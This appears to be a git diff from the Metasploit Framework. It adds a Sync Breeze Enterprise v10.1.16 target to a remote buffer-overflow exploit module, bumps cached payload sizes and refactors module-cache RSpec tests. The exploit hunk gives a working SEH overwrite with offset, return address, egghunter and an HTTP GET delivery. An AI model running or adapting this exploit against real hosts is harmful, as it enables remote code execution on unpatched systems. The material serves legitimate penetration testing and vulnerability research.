in the web interface of Sync Breeze Enterprise v9.4.28 and v10.0.28, caused by
|
||||
improper bounds checking of the request in HTTP GET and POST requests
|
||||
sent to the built-in web server. This module has been tested
|
||||
successfully on Windows 7 SP1 x86.
|
||||
in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,
|
||||
and v10.1.16, caused by improper bounds checking of the request in
|
||||
HTTP GET and POST requests sent to the built-in web server. This
|
||||
module has been tested successfully on Windows 7 SP1 x86.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Daniel Teixeira',
|
||||
'Andrew Smith', # MSF support for v10.0.28
|
||||
'Owais Mehtab' # Original v10.0.28 exploit
|
||||
'Andrew Smith', # MSF support for v10.0.28
|
||||
'Owais Mehtab', # Original v10.0.28 exploit
|
||||
'Milton Valencia (wetw0rk)' # MSF support for v10.1.16
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
@ -53,6 +54,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Offset' => 780,
|
||||
'Ret' => 0x10090c83 # JMP ESP [libspp.dll]
|
||||
}
|
||||
],
|
||||
[ 'Sync Breeze Enterprise v10.1.16',
|
||||
{
|
||||
'Offset' => 2495,
|
||||
'Ret' => 0x1001C65C # POP # POP # RET [libspp.dll]
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => true,
|
||||
|
@ -102,6 +109,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
when /10\.0\.28/
|
||||
print_status('Target is 10.0.28')
|
||||
return targets[2]
|
||||
when /10\.1\.16/
|
||||
print_status('Target is 10.1.16')
|
||||
return targets[3]
|
||||
else
|
||||
nil
|
||||
end
|
||||
|
@ -156,6 +166,34 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'password' => "rawr"
|
||||
}
|
||||
)
|
||||
when targets[3]
|
||||
target = targets[3]
|
||||
|
||||
eggoptions = {
|
||||
checksum: true,
|
||||
eggtag: rand_text_alpha(4, payload_badchars)
|
||||
}
|
||||
|
||||
hunter, egg = generate_egghunter(
|
||||
payload.encoded,
|
||||
payload_badchars,
|
||||
eggoptions
|
||||
)
|
||||
|
||||
sploit = payload.encoded
|
||||
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length, payload_badchars)
|
||||
sploit << generate_seh_record(target.ret)
|
||||
sploit << hunter
|
||||
# Push the payload out of this buffer, which will make the hunter look for the payload
|
||||
# somewhere else that has the complete payload.
|
||||
sploit << make_nops(200)
|
||||
sploit << egg
|
||||
sploit << rand_text_alpha(9067 - sploit.length, payload_badchars)
|
||||
|
||||
send_request_cgi(
|
||||
'uri' => "/#{sploit}",
|
||||
'method' => 'GET'
|
||||
)
|
||||
else
|
||||
print_error("Exploit not suitable for this target.")
|
||||
end
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 58486
|
||||
CachedSize = 67282
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 58450
|
||||
CachedSize = 67222
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 58450
|
||||
CachedSize = 67222
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 58402
|
||||
CachedSize = 67182
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -1,8 +1,18 @@
|
|||
RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
|
||||
|
||||
# Wait for data to be loaded
|
||||
before(:all) do
|
||||
Msf::Modules::Metadata::Cache.instance.get_metadata
|
||||
end
|
||||
|
||||
let(:parent_path) do
|
||||
parent_pathname.to_path
|
||||
end
|
||||
|
||||
let(:metadata_cache) do
|
||||
Msf::Modules::Metadata::Cache.instance
|
||||
end
|
||||
|
||||
let(:parent_pathname) do
|
||||
Metasploit::Framework.root.join('modules')
|
||||
end
|
||||
|
@ -221,73 +231,37 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
|
|||
end
|
||||
|
||||
context '#refresh_cache_from_module_files' do
|
||||
before(:example) do
|
||||
allow(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?)
|
||||
end
|
||||
|
||||
context 'with framework migrated' do
|
||||
let(:framework_migrated?) do
|
||||
true
|
||||
context 'with module argument' do
|
||||
def refresh_cache_from_module_files
|
||||
module_manager.refresh_cache_from_module_files(module_class_or_instance)
|
||||
end
|
||||
|
||||
context 'with module argument' do
|
||||
def refresh_cache_from_module_files
|
||||
module_manager.refresh_cache_from_module_files(module_class_or_instance)
|
||||
end
|
||||
|
||||
let(:module_class_or_instance) do
|
||||
Class.new(Msf::Module)
|
||||
end
|
||||
|
||||
it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do
|
||||
expect(framework.db).to receive(:update_module_details).with(module_class_or_instance).ordered
|
||||
expect(module_manager).to receive(:refresh_cache_from_database).ordered
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
let(:module_class_or_instance) do
|
||||
Class.new(Msf::Module)
|
||||
end
|
||||
|
||||
context 'without module argument' do
|
||||
def refresh_cache_from_module_files
|
||||
module_manager.refresh_cache_from_module_files
|
||||
end
|
||||
it 'should update store and then update in-memory cache from the store for the given module_class_or_instance' do
|
||||
expect(metadata_cache).to receive(:refresh_metadata_instance).with(module_class_or_instance).ordered
|
||||
expect(module_manager).to receive(:refresh_cache_from_database).ordered
|
||||
|
||||
it 'should update database and then update in-memory cache from the database for all modules' do
|
||||
expect(framework.db).to receive(:update_all_module_details).ordered
|
||||
expect(module_manager).to receive(:refresh_cache_from_database)
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
end
|
||||
|
||||
context 'without framework migrated' do
|
||||
context 'without module argument' do
|
||||
def refresh_cache_from_module_files
|
||||
module_manager.refresh_cache_from_module_files
|
||||
end
|
||||
|
||||
let(:framework_migrated?) do
|
||||
false
|
||||
end
|
||||
|
||||
it 'should not call Msf::DBManager#update_module_details' do
|
||||
expect(framework.db).not_to receive(:update_module_details)
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
|
||||
it 'should not call Msf::DBManager#update_all_module_details' do
|
||||
expect(framework.db).not_to receive(:update_all_module_details)
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
|
||||
it 'should not call #refresh_cache_from_database' do
|
||||
expect(module_manager).not_to receive(:refresh_cache_from_database)
|
||||
it 'should update store and then update in-memory cache from the store for all modules' do
|
||||
expect(metadata_cache).to receive(:refresh_metadata).ordered
|
||||
expect(module_manager).to receive(:refresh_cache_from_database)
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
context '#refresh_cache_from_database' do
|
||||
|
@ -302,41 +276,6 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
|
|||
end
|
||||
end
|
||||
|
||||
context '#framework_migrated?' do
|
||||
subject(:framework_migrated?) do
|
||||
module_manager.send(:framework_migrated?)
|
||||
end
|
||||
|
||||
context 'with framework database' do
|
||||
before(:example) do
|
||||
expect(framework.db).to receive(:migrated).and_return(migrated)
|
||||
end
|
||||
|
||||
context 'with migrated' do
|
||||
let(:migrated) do
|
||||
true
|
||||
end
|
||||
|
||||
it { is_expected.to be_truthy }
|
||||
end
|
||||
|
||||
context 'without migrated' do
|
||||
let(:migrated) do
|
||||
false
|
||||
end
|
||||
|
||||
it { is_expected.to be_falsey }
|
||||
end
|
||||
end
|
||||
|
||||
context 'without framework database' do
|
||||
before(:example) do
|
||||
expect(framework).to receive(:db).and_return(nil)
|
||||
end
|
||||
|
||||
it { is_expected.to be_falsey }
|
||||
end
|
||||
end
|
||||
|
||||
context '#module_info_by_path' do
|
||||
it 'should have protected method module_info_by_path' do
|
||||
|
@ -359,101 +298,78 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
|
|||
module_manager.send(:module_info_by_path_from_database!)
|
||||
end
|
||||
|
||||
before(:example) do
|
||||
allow(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?)
|
||||
it 'should call get metadata' do
|
||||
allow(metadata_cache).to receive(:get_metadata).and_return([])
|
||||
expect(metadata_cache).to receive(:get_metadata)
|
||||
|
||||
module_info_by_path_from_database!
|
||||
end
|
||||
|
||||
context 'with framework migrated' do
|
||||
let(:framework_migrated?) do
|
||||
true
|
||||
context 'with database cache' do
|
||||
#
|
||||
# Let!s (let + before(:each))
|
||||
#
|
||||
|
||||
let!(:mdm_module_detail) do
|
||||
FactoryGirl.create(:mdm_module_detail,
|
||||
:file => path,
|
||||
:mtype => type,
|
||||
:mtime => pathname.mtime,
|
||||
:refname => reference_name
|
||||
)
|
||||
end
|
||||
|
||||
it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do
|
||||
expect(Mdm::Module::Detail).to receive(:find_each)
|
||||
|
||||
it 'should create cache entry for path' do
|
||||
module_info_by_path_from_database!
|
||||
|
||||
expect(module_info_by_path).to have_key(path)
|
||||
end
|
||||
|
||||
context 'with database cache' do
|
||||
#
|
||||
# Let!s (let + before(:each))
|
||||
#
|
||||
|
||||
let!(:mdm_module_detail) do
|
||||
FactoryGirl.create(:mdm_module_detail,
|
||||
:file => path,
|
||||
:mtype => type,
|
||||
:mtime => pathname.mtime,
|
||||
:refname => reference_name
|
||||
)
|
||||
context 'cache entry' do
|
||||
subject(:cache_entry) do
|
||||
module_info_by_path[path]
|
||||
end
|
||||
|
||||
it 'should create cache entry for path' do
|
||||
before(:example) do
|
||||
module_info_by_path_from_database!
|
||||
|
||||
expect(module_info_by_path).to have_key(path)
|
||||
end
|
||||
|
||||
context 'cache entry' do
|
||||
subject(:cache_entry) do
|
||||
module_info_by_path[path]
|
||||
end
|
||||
it { expect(subject[:modification_time]).to be_within(1.second).of(pathname_modification_time) }
|
||||
it { expect(subject[:parent_path]).to eq(parent_path) }
|
||||
it { expect(subject[:reference_name]).to eq(reference_name) }
|
||||
it { expect(subject[:type]).to eq(type) }
|
||||
end
|
||||
|
||||
context 'typed module set' do
|
||||
let(:typed_module_set) do
|
||||
module_manager.module_set(type)
|
||||
end
|
||||
|
||||
context 'with reference_name' do
|
||||
before(:example) do
|
||||
module_info_by_path_from_database!
|
||||
typed_module_set[reference_name] = double('Msf::Module')
|
||||
end
|
||||
|
||||
it { expect(subject[:modification_time]).to be_within(1.second).of(pathname_modification_time) }
|
||||
it { expect(subject[:parent_path]).to eq(parent_path) }
|
||||
it { expect(subject[:reference_name]).to eq(reference_name) }
|
||||
it { expect(subject[:type]).to eq(type) }
|
||||
end
|
||||
|
||||
context 'typed module set' do
|
||||
let(:typed_module_set) do
|
||||
module_manager.module_set(type)
|
||||
end
|
||||
|
||||
context 'with reference_name' do
|
||||
before(:example) do
|
||||
typed_module_set[reference_name] = double('Msf::Module')
|
||||
end
|
||||
|
||||
it 'should not change reference_name value' do
|
||||
expect {
|
||||
module_info_by_path_from_database!
|
||||
}.to_not change {
|
||||
typed_module_set[reference_name]
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
context 'without reference_name' do
|
||||
it 'should set reference_name value to Msf::SymbolicModule' do
|
||||
it 'should not change reference_name value' do
|
||||
expect {
|
||||
module_info_by_path_from_database!
|
||||
}.to_not change {
|
||||
typed_module_set[reference_name]
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# have to use fetch because [] will trigger de-symbolization and
|
||||
# instantiation.
|
||||
expect(typed_module_set.fetch(reference_name)).to eq Msf::SymbolicModule
|
||||
end
|
||||
context 'without reference_name' do
|
||||
it 'should set reference_name value to Msf::SymbolicModule' do
|
||||
module_info_by_path_from_database!
|
||||
|
||||
# have to use fetch because [] will trigger de-symbolization and
|
||||
# instantiation.
|
||||
expect(typed_module_set.fetch(reference_name)).to eq Msf::SymbolicModule
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'without framework migrated' do
|
||||
let(:framework_migrated?) do
|
||||
false
|
||||
end
|
||||
|
||||
it 'should reset #module_info_by_path' do
|
||||
# pre-fill module_info_by_path so change can be detected
|
||||
module_manager.send(:module_info_by_path=, double('In-memory Cache'))
|
||||
|
||||
module_info_by_path_from_database!
|
||||
|
||||
expect(module_info_by_path).to be_empty
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue